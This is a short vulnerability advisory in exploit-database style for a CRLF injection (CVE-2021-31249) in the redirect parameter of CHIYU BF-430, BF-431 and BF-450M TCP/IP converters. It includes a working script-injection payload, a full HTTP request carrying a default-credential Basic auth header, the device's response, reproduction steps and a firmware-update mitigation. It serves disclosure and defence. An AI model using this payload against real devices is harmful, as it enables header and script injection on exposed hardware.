CHIYU TCP/IP Converter CRLF Injection

`# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection  
# Date: May 31 2021  
# Exploit Author: sirpedrotavares  
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html  
# Software Link: https://www.chiyu-tech.com/category-hardware.html  
# Version: BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021  
# Tested on: BF-430, BF-431, and BF-450M  
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks  
  
Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.  
CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N  
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249  
  
Affected parameter: redirect=Component: all the CGI components  
Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>  
  
====HTTP request======  
GET  
/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY  
HTTP/1.1  
Host: 192.168.187.12  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.187.12/manage.htm  
Authorization: Basic OmFkbWlu  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
======HTTP response========  
HTTP/1.1 302 Found  
Location: setting.htm  
<script>alert(document.domain)</script>  
Content-Length: 0  
Content-Type: text/html  
  
  
Steps to reproduce:  
1. Navigate to the vulnerable device  
2. Make a GET request to all CGI components  
3. Append the payload at the end of the vulnerable parameter (redirect )  
4. Submit the request and observe payload execution  
  
  
Mitigation: The latest version of the CHIYU firmware should be installed  
to mitigate this vulnerability.  
`